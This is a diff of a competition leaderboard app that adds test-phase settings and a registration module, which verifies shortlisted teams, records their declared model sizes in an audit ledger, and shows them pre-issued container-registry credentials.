  "large": (2_000_000_000, float("inf")),
46
  }
47
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
48
  # --- Gold / submission constraints ---------------------------------------
49
  N_GOLD = 700
50
  MAX_SUBMISSIONS_PER_DAY = 5 # per (hf_user, track, division) = "subtrack", val phase.
 
23
 
24
  TRACKS = ["convqa", "longqa", "proactive"]
25
 
26
+ # Why a track is not offered in the TEST phase. Delete an entry here and the
27
+ # track becomes available; TEST_TRACKS is derived, and nothing else changes.
28
+ #
29
+ # This is the ONE line to change. An earlier version of this file hardcoded
30
+ # TEST_TRACKS and claimed the same thing, which was false: a test pinned
31
+ # proactive absent, so widening the list alone failed the suite. Deriving the
32
+ # list means the test asserts the DERIVATION and follows automatically.
33
+ # Tracks not offered in the TEST phase. Add an entry to block one; TEST_TRACKS
34
+ # is derived, so that is the only edit needed.
35
+ TEST_TRACKS_BLOCKED: dict[str, str] = {}
36
+
37
+ # Tracks the TEST phase can actually score. Offering one we cannot score would
38
+ # let a team register a submission that burns one of their three per-track
39
+ # slots and returns nothing, so the cost of the gap falls on the participant.
40
+ TEST_TRACKS = [t for t in TRACKS if t not in TEST_TRACKS_BLOCKED]
41
+
42
  # Pretty names for the UI.
43
  TRACK_LABELS = {
44
  "convqa": "EgoConv",
 
61
  "large": (2_000_000_000, float("inf")),
62
  }
63
 
64
+ # --- Test phase -----------------------------------------------------------
65
+ # The test phase does not take predictions. Shortlisted teams push a container
66
+ # image to their own ECR repository and REGISTER its digest here; the organizers'
67
+ # worker pulls that digest, runs it against the held-out split on the cluster and
68
+ # publishes the score. Registration rather than the registry is the throttle: a
69
+ # team can push all it likes, and nothing is evaluated until it is registered.
70
+ # Whether the Submit tab still accepts validation predictions. Defaults CLOSED,
71
+ # so the freeze takes effect the moment this ships and does not depend on anyone
72
+ # remembering to set a secret. Set VAL_PHASE_OPEN=1 to reopen it.
73
+ #
74
+ # The button being greyed out is not the control: submit.validate_and_submit()
75
+ # checks this too, because a disabled button is a suggestion and the endpoint is
76
+ # still reachable.
77
+ VAL_PHASE_OPEN = os.environ.get("VAL_PHASE_OPEN", "").lower() in ("1", "true", "yes")
78
+
79
+ # Rendered INSIDE the Validation sub-tab on both the Leaderboard and the Submit
80
+ # tab, never above the sub-tabs: the Test phase is not closed, and a banner
81
+ # outside them would say it was. It therefore says nothing about "below" or
82
+ # "above" either, since it has to read correctly in both places.
83
+ VAL_CLOSED_NOTICE = (
84
+ "**The Validation Phase is closed.** The validation leaderboard is final "
85
+ "and no further validation predictions are accepted. Shortlisted teams "
86
+ "continue in the Test Phase, under **Test** on the Submit tab."
87
+ )
88
+
89
+ TEST_PHASE = "test"
90
+
91
+ # Whether the Submit tab accepts test-phase registrations. Off until the test
92
+ # window opens, so the tab can ship ahead of it; flip with a Space secret rather
93
+ # than a code change.
94
+ TEST_PHASE_OPEN = os.environ.get("TEST_PHASE_OPEN", "").lower() in ("1", "true", "yes")
95
+
96
+ # Scored submissions a team may register per TRACK (not per subtrack, and not per
97
+ # day as the val phase is): a team's model has one size, so track and subtrack are
98
+ # the same in practice here. This is the board-side half of the cap; the worker
99
+ # enforces the same number independently, because the board cannot be the only
100
+ # gate on work that costs GPU time.
101
+ MAX_TEST_SUBMISSIONS_PER_TRACK = 3
102
+
103
+ # Which request states hold one of those slots. A submission that was refused
104
+ # before anything ran (REJECTED) does not; one that ran and failed to score
105
+ # (FAILED) does, because it consumed the compute. Keep this identical to
106
+ # count_prior_submissions() in the organizers' test_phase_worker.py.
107
+ TEST_SLOT_STATUSES = ("PENDING", "FINISHED", "FAILED")
108
+
109
+ # Per-division image size ceiling, enforced here at registration and again by the
110
+ # worker from the ECR manifest before any pull. Keep in step with
111
+ # DEFAULT_SIZE_CAPS_GB in test_phase_worker.py and participant/validate_image.sh.
112
+ TEST_IMAGE_SIZE_CAPS_GB = {"small": 10, "large": 200}
113
+
114
+ # The size we publish to participants: one number for both divisions, stated as
115
+ # the compressed size in the registry (the number `docker push` reports), not the
116
+ # uncompressed size on disk. Over it, a team asks for an exception rather than
117
+ # being blocked by the form.
118
+ TEST_IMAGE_ADVERTISED_GB = 100
119
+
120
+ # Minimum declared total parameter count accepted at test-phase registration, in
121
+ # whole parameters, including any frozen backbone. Zero means no floor, which is
122
+ # the current state: whether to apply one is an OPEN organizer decision, driven
123
+ # by validation entries that declared 91k and 1M parameters at near-perfect
124
+ # EgoProactive scores. Setting this constant is the whole change.
125
+ TEST_REGISTRATION_MIN_TOTAL_PARAMS = 0
126
+
127
+ # How far the size declared at test-phase registration may differ from the one
128
+ # the team declared at validation before we say something. A team is allowed to
129
+ # bring a different model, so a change is expected and is never refused; this
130
+ # only decides when a NOTE is shown and the row is flagged. An order of
131
+ # magnitude catches the case worth catching, which is a unit slip (millions
132
+ # typed into a billions box). Set to 0 to disable the note entirely.
133
+ TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR = 10
134
+
135
+ # A registry reference we are willing to pull from. Anchored on purpose: the
136
+ # reference reaches a subprocess on the organizers' side, so anything that is not
137
+ # plainly an ECR repository path is refused here rather than escaped later. These
138
+ # two patterns are the same as _ECR_REF / _DIGEST in test_phase_worker.py; a
139
+ # reference this accepts and the worker rejects would strand the team with a
140
+ # submission that can never be scored.
141
+ ECR_REF_RE = (
142
+ r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
143
+ r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
144
+ )
145
+ DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
146
+
147
+ # An image TAG. Docker's own rule: up to 128 of word character, dot or dash,
148
+ # not starting with a dot or dash. Anchored like the two above, because this
149
+ # value reaches a subprocess on the organizers' side.
150
+ #
151
+ # A tag is accepted as an alternative to a digest because participant
152
+ # repositories are created with --image-tag-mutability IMMUTABLE and the
153
+ # per-team policy grants no ecr:Delete*, so a tag cannot be overwritten and
154
+ # cannot be freed and re-pushed. On this setup `repo:v1` names one image
155
+ # permanently. The worker still resolves it to a digest at intake and records
156
+ # that, so provenance stays digest-based; this only changes what a participant
157
+ # has to type.
158
+ TAG_RE = r"^[A-Za-z0-9_][A-Za-z0-9._-]{0,127}$"
159
+
160
+ # Whether the Submit form accepts a TAG instead of a digest.
161
+ #
162
+ # OFF until the worker can resolve one. The worker validates image_digest
163
+ # against its own ^sha256:...$ and would reject a tag at intake, so accepting
164
+ # one here first would let a participant spend a submission on a reference that
165
+ # can never be scored. Flip this in the same change that teaches the worker to
166
+ # resolve tag -> digest via `aws ecr describe-images --image-ids imageTag=`,
167
+ # not before. The Space side is already written and tested behind it.
168
+ TEST_ACCEPT_IMAGE_TAG = False
169
+
170
  # --- Gold / submission constraints ---------------------------------------
171
  N_GOLD = 700
172
  MAX_SUBMISSIONS_PER_DAY = 5 # per (hf_user, track, division) = "subtrack", val phase.
register_test.py ADDED
@@ -0,0 +1,741 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """Test-phase registration: a shortlisted team signs in and gets its registry credentials.
2
+
3
+ Replaces emailing 30 teams individually. A team signs in with Hugging Face on the
4
+ Submit tab, names its team, and if BOTH checks pass the page shows the ECR
5
+ repository URI and the access key issued to that team.
6
+
7
+ The three checks, from the organizers' rules:
8
+
9
+ 1. The (hf_user, team_name) pair must appear together on a SCORED validation
10
+ submission. Signing in proves the account; the pair proves the account is the
11
+ one that competed under that team name. Neither alone is enough: a team name
12
+ is free text anyone can type, and an account can enter under several names.
13
+ 2. The team must be on the shortlist.
14
+ 3. The team must declare a total parameter count, INCLUDING any frozen backbone,
15
+ FOR THE SUB-TRACK IT IS REGISTERING. This is a declaration, not a
16
+ measurement, and it is recorded rather than trusted: the About tab already
17
+ tells participants that parameter counts are verified in the test phase, and
18
+ this is the number that verification is run against. Collecting it at
19
+ registration rather than at submission means a self-evidently wrong count can
20
+ be queried before a team spends compute.
21
+
22
+ Registration is PER SUB-TRACK, not per team, and the reason is that a model has
23
+ one size but a team can enter several sub-tracks. The divisions are defined by
24
+ parameter count (Small is <= 2B, Large is above it), so a team seated in both
25
+ divisions of a track is necessarily bringing two different models, and one
26
+ number per team could not describe them. A team registers once per sub-track it
27
+ is shortlisted for and declares that model's size each time.
28
+
29
+ Credentials do not vary by sub-track: one ECR repository is issued per TEAM, so
30
+ every registration by the same team shows the same credentials. What differs per
31
+ registration is the declaration and the ledger row.
32
+
33
+ Credentials are NOT created here. They are prepared ahead of time by the
34
+ organizers and deposited as a JSON map in a private dataset that only this
35
+ Space's token can read; this module looks a team up in that map. Nothing in this
36
+ Space can create a credential, which is the point: the Space is reachable from
37
+ the internet and the thing that issues credentials is not.
38
+
39
+ Every disclosure appends a row to an audit ledger in the same private dataset:
40
+ which account claimed which team's key, and when. The ledger records the access
41
+ key ID, never the secret, so the ledger itself is not a second copy of the
42
+ credential. Re-claiming is allowed and logged (a team that loses the page must be
43
+ able to get it back), so the ledger is the record of how many times each key was
44
+ shown rather than a lock.
45
+ """
46
+
47
+ from __future__ import annotations
48
+
49
+ import io
50
+ import json
51
+ import random
52
+ import re
53
+ import string
54
+ from collections import defaultdict
55
+ from datetime import datetime, timezone
56
+
57
+ from huggingface_hub.errors import EntryNotFoundError
58
+
59
+ import config
60
+
61
+ # Paths inside the PRIVATE requests dataset. Everything under admin/ is written
62
+ # by the organizers, never by a participant path in this app.
63
+ SHORTLIST_PATH = "admin/test_phase_shortlist.json"
64
+ CREDENTIALS_PATH = "admin/test_phase_credentials.json"
65
+ LEDGER_DIR = "admin/test_phase_registrations"
66
+
67
+
68
+ def normalize_team(name: str) -> str:
69
+ """Dedup key for a team name. Kept identical to shortlist.normalize_team().
70
+
71
+ Duplicated rather than imported because this module runs inside the Space and
72
+ shortlist.py is an organizer tool; the two are pinned together by
73
+ tests/test_register_test.py, which asserts they agree.
74
+ """
75
+ s = (name or "").strip()
76
+ s = re.sub(r"\s+", " ", s)
77
+ s = s.strip(" .,-_()[]")
78
+ return s.casefold()
79
+
80
+
81
+ def _now_iso() -> str:
82
+ return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
83
+
84
+
85
+ def _read_json(api, path: str):
86
+ """Read a JSON file out of the private requests dataset, or None."""
87
+ from huggingface_hub import hf_hub_download
88
+
89
+ local = hf_hub_download(
90
+ config.REQUESTS_REPO, path, repo_type="dataset", token=api.token
91
+ )
92
+ with open(local, encoding="utf-8") as fh:
93
+ return json.load(fh)
94
+
95
+
96
+ def load_shortlist(api) -> dict:
97
+ """team key -> {sub-track: seat detail} for every seat the team holds.
98
+
99
+ The seat detail is the validation entry that WON the seat: its model name
100
+ and declared size. It is carried so registration can show a team which
101
+ entry earned its place and compare the size it now declares against the one
102
+ it declared then. It is a record and a prompt, never a gate: a team is
103
+ expected to bring an improved model to the test phase.
104
+
105
+ Accepts the shape shortlist.py emits (a report with `subtracks`) as well as a
106
+ hand-written {team: [subtrack, ...]} map, because the organizers will edit
107
+ the machine-generated list before it becomes the invitation list and should
108
+ not have to preserve a schema to do it.
109
+ """
110
+ raw = _read_json(api, SHORTLIST_PATH)
111
+ if isinstance(raw, dict) and "subtracks" in raw:
112
+ out: dict[str, dict[str, dict]] = defaultdict(dict)
113
+ for st in raw["subtracks"]:
114
+ for t in st.get("shortlist", []):
115
+ out[normalize_team(t.get("team_name"))][
116
+ subtrack(st["track"], st["division"])
117
+ ] = {
118
+ "model_name": t.get("model_name"),
119
+ "total_params": t.get("total_params"),
120
+ "hf_user": t.get("hf_user"),
121
+ "rank": t.get("rank"),
122
+ }
123
+ return dict(out)
124
+ if isinstance(raw, dict):
125
+ # Hand-edited map: {team: [subtrack, ...]}. No seat detail, so every
126
+ # seat maps to an empty dict rather than to None, which keeps every
127
+ # reader on one shape instead of branching on the file's provenance.
128
+ return {
129
+ normalize_team(k): {sub: {} for sub in v} for k, v in raw.items()
130
+ }
131
+ raise ValueError("shortlist file is neither a report nor a team map")
132
+
133
+
134
+ def load_credentials(api) -> dict:
135
+ """team key -> {repo_uri, access_key_id, secret_access_key, region}."""
136
+ raw = _read_json(api, CREDENTIALS_PATH)
137
+ return {normalize_team(k): v for k, v in raw.items()}
138
+
139
+
140
+ def validation_pairs(api) -> set[tuple[str, str]]:
141
+ """Every (hf_user, normalized team) pair that holds a SCORED val result.
142
+
143
+ Read from the RESULTS dataset, not requests: a submission that was registered
144
+ and never scored did not compete. Reads only the fields it needs, so a result
145
+ file gaining a field cannot break this.
146
+ """
147
+ from huggingface_hub import hf_hub_download
148
+
149
+ files = [
150
+ f
151
+ for f in api.list_repo_files(config.RESULTS_REPO, repo_type="dataset")
152
+ if f.startswith(f"results/{config.PHASE}/") and f.endswith(".json")
153
+ ]
154
+ pairs = set()
155
+ for f in files:
156
+ try:
157
+ local = hf_hub_download(
158
+ config.RESULTS_REPO, f, repo_type="dataset", token=api.token
159
+ )
160
+ with open(local, encoding="utf-8") as fh:
161
+ obj = json.load(fh)
162
+ except Exception:
163
+ # A single unreadable result must not deny every team. The pair set
164
+ # only ever grows, so skipping one file can refuse a legitimate team
165
+ # and can never admit an illegitimate one; that is the safe
166
+ # direction, and the organizers can add the pair by hand.
167
+ continue
168
+ if obj.get("status") != "FINISHED":
169
+ continue
170
+ user = obj.get("hf_user")
171
+ team = normalize_team(obj.get("team_name"))
172
+ if user and team:
173
+ pairs.add((str(user), team))
174
+ return pairs
175
+
176
+
177
+ _EMAIL_RE = re.compile(r"^[^@\s]+@[^@\s.]+(\.[^@\s.]+)+$")
178
+
179
+ # A ceiling, not a rule about team size: it stops a paste accident becoming a
180
+ # thousand-row ledger entry. A genuinely larger team contacts the organizers.
181
+ MAX_TEAM_MEMBERS = 20
182
+
183
+
184
+ def subtrack(track: str, division: str) -> str:
185
+ """The sub-track key. One string, so it cannot be assembled two ways."""
186
+ return f"{track}/{division}"
187
+
188
+
189
+ def parse_members(value: str) -> tuple[list[dict] | None, str]:
190
+ """Parse the team roster: one member per line, `Name, email`.
191
+
192
+ A plain textarea rather than a repeating widget, because the roster is
193
+ typed once and the number of members is not known in advance. `Name <email>`
194
+ is accepted too, since people paste addresses in that form without thinking.
195
+
196
+ Returns (members, error). Every member is checked, and the error names the
197
+ line at fault, because "invalid input" on a ten-line box is useless.
198
+ """
199
+ lines = [ln.strip() for ln in (value or "").splitlines()]
200
+ lines = [ln for ln in lines if ln]
201
+ if not lines:
202
+ return None, (
203
+ "List your team members, one per line, as `Name, email`."
204
+ )
205
+ if len(lines) > MAX_TEAM_MEMBERS:
206
+ return None, (
207
+ f"{len(lines)} members listed; the form takes at most "
208
+ f"{MAX_TEAM_MEMBERS}. Contact the organizers if your team is larger."
209
+ )
210
+
211
+ members: list[dict] = []
212
+ seen: set[str] = set()
213
+ for i, line in enumerate(lines, 1):
214
+ angle = re.match(r"^(.*?)<([^>]+)>$", line)
215
+ if angle:
216
+ name, email = angle.group(1), angle.group(2)
217
+ elif "," in line:
218
+ name, _, email = line.rpartition(",")
219
+ else:
220
+ return None, (
221
+ f"Line {i} ('{line}') is not `Name, email`. Put one member per "
222
+ "line, with the name first and the address after a comma."
223
+ )
224
+ name = name.strip().strip(",").strip()
225
+ addr, why = parse_email(email)
226
+ if addr is None:
227
+ return None, f"Line {i}: {why}"
228
+ if not name:
229
+ return None, f"Line {i} has an address but no name."
230
+ if addr.lower() in seen:
231
+ return None, f"{addr} is listed twice. Each member appears once."
232
+ seen.add(addr.lower())
233
+ members.append({"name": name, "email": addr})
234
+ return members, ""
235
+
236
+
237
+ def parse_poc(value: str, members: list[dict], hf_user: str) -> tuple[dict | None, str]:
238
+ """The point of contact IS whoever is registering. Returns their record.
239
+
240
+ Not a nomination. The Hugging Face account signing in is the one matched
241
+ against the validation submissions and the shortlist, so it is already the
242
+ account that owns the seat; making the person behind it the contact of
243
+ record means the address we write to belongs to someone we have actually
244
+ verified holds the seat. Nominating a third party would break that link and
245
+ is the reason this is not a free choice.
246
+
247
+ All the participant supplies is which roster line is theirs. Requiring it to
248
+ be on the roster is the rest of it: a contact who is not on the team is how
249
+ a message reaches nobody.
250
+ """
251
+ addr, why = parse_email(value)
252
+ if addr is None:
253
+ return None, f"Main point of contact: {why}"
254
+ known = {m["email"].lower(): m for m in members}
255
+ if addr.lower() not in known:
256
+ listed = ", ".join(m["email"] for m in members)
257
+ return None, (
258
+ f"The main point of contact ({addr}) is not one of the team members "
259
+ f"you listed. It has to be you, and you have to be on the list. "
260
+ f"Listed: {listed}."
261
+ )
262
+ member = known[addr.lower()]
263
+ return {"hf_user": hf_user, "name": member["name"], "email": member["email"]}, ""
264
+
265
+
266
+ def parse_email(value: str) -> tuple[str | None, str]:
267
+ """The contact address for this team, required.
268
+
269
+ Deliberately a loose check. The purpose is to catch a typo or an empty box,
270
+ not to adjudicate RFC 5322; a real address that a strict regex rejects would
271
+ lock a shortlisted team out of the phase, which is far worse than storing an
272
+ address that turns out to bounce.
273
+ """
274
+ email = (value or "").strip()
275
+ if not email:
276
+ return None, "Enter a contact email address so we can reach your team."
277
+ # Accept a pasted roster line. The members box directly above asks for
278
+ # `Name, email`, so copying that format down into this box is the obvious
279
+ # mistake to make, and rejecting it teaches the participant nothing except
280
+ # that the form is fussy. If exactly one comma-separated part looks like an
281
+ # address, that is unambiguously what was meant.
282
+ if not _EMAIL_RE.match(email) and "," in email:
283
+ looks_like = [
284
+ part.strip() for part in email.split(",") if _EMAIL_RE.match(part.strip())
285
+ ]
286
+ if len(looks_like) == 1:
287
+ email = looks_like[0]
288
+ if not _EMAIL_RE.match(email):
289
+ return None, (
290
+ f"'{email}' does not look like an email address. Enter just the "
291
+ "address, for example ada@example.com, not 'Ada Lovelace, "
292
+ "ada@example.com'."
293
+ )
294
+ return email, ""
295
+
296
+
297
+ def parse_total_params(value) -> tuple[int | None, str]:
298
+ """Read the declared total parameter count, given in BILLIONS.
299
+
300
+ Returns (params_or_None, error). Billions because that is the unit the rest
301
+ of the board uses and the unit a participant thinks in; the stored value is
302
+ an integer count, so the two never have to be reconciled later.
303
+
304
+ A count of zero is refused rather than stored. Several validation entries
305
+ declared 0.00000B, which cannot be true of anything that runs, and a zero
306
+ that flows into the ledger is indistinguishable from "not asked".
307
+ """
308
+ if value in (None, ""):
309
+ return None, (
310
+ "Enter your model's total parameter count, in billions, including "
311
+ "any frozen backbone."
312
+ )
313
+ try:
314
+ billions = float(value)
315
+ except (TypeError, ValueError):
316
+ return None, f"Total parameters must be a number in billions, not {value!r}."
317
+ if billions <= 0:
318
+ return None, (
319
+ "Total parameters must be greater than zero. Count every parameter "
320
+ "the model loads at inference, including any frozen backbone."
321
+ )
322
+ params = int(round(billions * 1e9))
323
+ if params <= 0:
324
+ return None, (
325
+ f"{billions}B rounds to zero parameters. If your model really is "
326
+ "that small, contact the organizers rather than registering."
327
+ )
328
+ if params < config.TEST_REGISTRATION_MIN_TOTAL_PARAMS:
329
+ floor_b = config.TEST_REGISTRATION_MIN_TOTAL_PARAMS / 1e9
330
+ return None, (
331
+ f"{billions}B is below the {floor_b:g}B floor for the test phase. "
332
+ "Count every parameter the model loads at inference, including any "
333
+ "frozen backbone; if the count is right, contact the organizers."
334
+ )
335
+ return params, ""
336
+
337
+
338
+ def size_note(seat: dict, total_params: int) -> str:
339
+ """Compare the size declared now against the one declared at validation.
340
+
341
+ Returns "" when there is nothing worth saying. Never refuses: a team is
342
+ allowed to bring a different model to the test phase, so a change is
343
+ expected and is not evidence of anything on its own. What is worth
344
+ surfacing is a change of ORDER OF MAGNITUDE, which is usually either a unit
345
+ slip (someone typing millions into a billions box) or a declaration that
346
+ was wrong at validation. Both are better raised now than after a score.
347
+
348
+ Recorded on the ledger row either way, so the organizers see it even when
349
+ the participant ignores the note.
350
+ """
351
+ val = seat.get("total_params")
352
+ if not val or not total_params:
353
+ return ""
354
+ factor = config.TEST_REGISTRATION_SIZE_DISCREPANCY_FACTOR
355
+ if factor <= 0:
356
+ return ""
357
+ bigger, smaller = max(val, total_params), min(val, total_params)
358
+ if bigger < smaller * factor:
359
+ return ""
360
+ direction = "larger" if total_params > val else "smaller"
361
+ return (
362
+ f"Note: at validation this team declared {val / 1e9:g}B for the entry "
363
+ f"that earned this seat, and you have declared {total_params / 1e9:g}B "
364
+ f"now, which is {direction} by more than {factor}x. That is fine if you "
365
+ "changed model. If it is a typo, re-register with the right number: "
366
+ "parameter counts are verified in the test phase."
367
+ )
368
+
369
+
370
+ def check_division(total_params: int, division: str) -> tuple[bool, str]:
371
+ """The declared size must be consistent with the division being entered.
372
+
373
+ This is the check that makes a per-sub-track declaration worth collecting.
374
+ Divisions ARE parameter bands, so a team entering Small with a 7B model is
375
+ either mis-declaring or entering the wrong division, and either way the
376
+ submission would be refused later at a point where it has already cost them
377
+ a slot. Catching it here costs them nothing.
378
+ """
379
+ actual = config.division_for_params(int(total_params))
380
+ if actual is None:
381
+ return False, f"total_params={total_params} is not a usable parameter count."
382
+ if actual != division:
383
+ lo, hi = config.DIVISION_CAPS[division]
384
+ bound = "at most 2B" if division == "small" else "more than 2B"
385
+ return False, (
386
+ f"{total_params / 1e9:g}B is a '{actual}' model, but you are "
387
+ f"registering for {division.capitalize()}, which takes {bound}. "
388
+ "Register this model under its own division, or correct the count."
389
+ )
390
+ return True, ""
391
+
392
+
393
+ def check(
394
+ hf_user: str, team_name: str, track: str, division: str, pairs, shortlist
395
+ ) -> tuple[bool, str]:
396
+ """The eligibility decision. Pure, so the whole rule is unit-testable.
397
+
398
+ Returns (ok, reason_for_the_participant). Every refusal names which of the
399
+ three checks failed and what to do about it, because a team that is
400
+ genuinely shortlisted and typed its name differently must not read "not
401
+ eligible".
402
+
403
+ The parameter declaration is deliberately NOT checked here: it is a property
404
+ of the model, not of eligibility, and parse_total_params() owns it. Keeping
405
+ them apart means a team whose count is malformed is told to fix the count,
406
+ not told it is ineligible.
407
+ """
408
+ if not (hf_user or "").strip():
409
+ return False, "Sign in with Hugging Face first."
410
+ if not (team_name or "").strip():
411
+ return False, "Enter your team name, exactly as it appears on the leaderboard."
412
+ if track not in config.TEST_TRACKS:
413
+ return False, (
414
+ f"The test phase does not take '{track}'. Open tracks: "
415
+ + ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
416
+ + "."
417
+ )
418
+ if division not in config.DIVISIONS:
419
+ return False, f"Unknown division: {division}"
420
+
421
+ team = normalize_team(team_name)
422
+ sub = subtrack(track, division)
423
+
424
+ if (hf_user, team) not in pairs:
425
+ # Distinguish "wrong team for this account" from "this account never
426
+ # competed": the first is a typo the participant can fix, the second is
427
+ # someone else's problem to explain.
428
+ mine = sorted({t for (u, t) in pairs if u == hf_user})
429
+ if mine:
430
+ return False, (
431
+ f"`{hf_user}` has validation submissions, but not under "
432
+ f"'{team_name.strip()}'. The team name must match the one on your "
433
+ f"validation submissions. On this account that is: "
434
+ + ", ".join(f"`{t}`" for t in mine)
435
+ + "."
436
+ )
437
+ return False, (
438
+ f"No scored validation submission is recorded for `{hf_user}`. "
439
+ "Credentials are issued to the account that competed. If your team "
440
+ "submitted from a different Hugging Face account, sign in with that "
441
+ "one; if you believe this is wrong, contact the organizers."
442
+ )
443
+
444
+ if team not in shortlist:
445
+ return False, (
446
+ f"'{team_name.strip()}' is not on the test-phase shortlist. Only "
447
+ "shortlisted teams enter the test phase. Contact the organizers if "
448
+ "you believe this is wrong."
449
+ )
450
+
451
+ # Shortlisting is per SUB-TRACK, so being on the list is not enough: a team
452
+ # seated in EgoConv/Large has no seat in EgoLongQA/Small. Name the seats the
453
+ # team does hold, because the likely cause is picking the wrong radio rather
454
+ # than a team trying its luck.
455
+ if sub not in shortlist[team]:
456
+ seats = ", ".join(f"`{s}`" for s in sorted(shortlist[team]))
457
+ return False, (
458
+ f"'{team_name.strip()}' is shortlisted, but not for `{sub}`. "
459
+ f"Seats held: {seats}. Register once for each of those, declaring "
460
+ "that model's size each time."
461
+ )
462
+
463
+ return True, ""
464
+
465
+
466
+ def _ledger_row(
467
+ hf_user: str,
468
+ team: str,
469
+ track: str,
470
+ division: str,
471
+ members: list,
472
+ poc: dict,
473
+ model_name: str,
474
+ seat: dict,
475
+ total_params: int,
476
+ cred: dict,
477
+ ) -> dict:
478
+ """Audit row, one per registration, keyed by sub-track.
479
+
480
+ Carries the access key ID and never the secret.
481
+
482
+ `declared_total_params` is the whole reason the count is collected: this row
483
+ is the record of what a team said BEFORE it saw the test data, which is the
484
+ only version of the claim that cannot be revised once a score is known. It
485
+ is per sub-track because the divisions are parameter bands, so one number
486
+ could not describe a team entered in both.
487
+ """
488
+ return {
489
+ "hf_user": hf_user,
490
+ "team": team,
491
+ "track": track,
492
+ "division": division,
493
+ "subtrack": subtrack(track, division),
494
+ # The roster and its point of contact. The HF account above is what the
495
+ # seat is matched on; this is who the organizers actually write to.
496
+ "members": members,
497
+ # The contact of record: the account that matched the shortlist, and the
498
+ # human behind it. Stored together so a later reader does not have to
499
+ # join two fields to know who to write to.
500
+ "poc": poc,
501
+ "model_name": model_name,
502
+ "declared_total_params": total_params,
503
+ # The validation entry that earned this seat, copied so the row is
504
+ # self-describing: a later reader can see what changed between phases
505
+ # without having to find the shortlist file as it was on the day.
506
+ "val_model_name": seat.get("model_name"),
507
+ "val_total_params": seat.get("total_params"),
508
+ "size_discrepancy": bool(size_note(seat, total_params)),
509
+ "access_key_id": cred.get("access_key_id"),
510
+ "repo_uri": cred.get("repo_uri"),
511
+ "claimed_at": _now_iso(),
512
+ }
513
+
514
+
515
+ def _record(
516
+ api,
517
+ hf_user: str,
518
+ team: str,
519
+ track: str,
520
+ division: str,
521
+ members: list,
522
+ poc: dict,
523
+ model_name: str,
524
+ seat: dict,
525
+ total_params: int,
526
+ cred: dict,
527
+ ) -> None:
528
+ row = _ledger_row(
529
+ hf_user, team, track, division, members, poc, model_name, seat,
530
+ total_params, cred,
531
+ )
532
+ safe_team = re.sub(r"[^a-z0-9-]+", "-", team).strip("-") or "team"
533
+ stamp = row["claimed_at"].replace(":", "-")
534
+ # A random suffix, because claimed_at has second resolution and uploading to
535
+ # a path that already exists OVERWRITES it. Two claims in the same second,
536
+ # which is exactly what a double-click produces, would otherwise leave one
537
+ # row where two disclosures happened. Counting how many times a key was
538
+ # shown is the ledger's whole job, so losing one silently is its worst
539
+ # failure.
540
+ suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
541
+ path = f"{LEDGER_DIR}/{safe_team}-{track}-{division}-{stamp}-{suffix}.json"
542
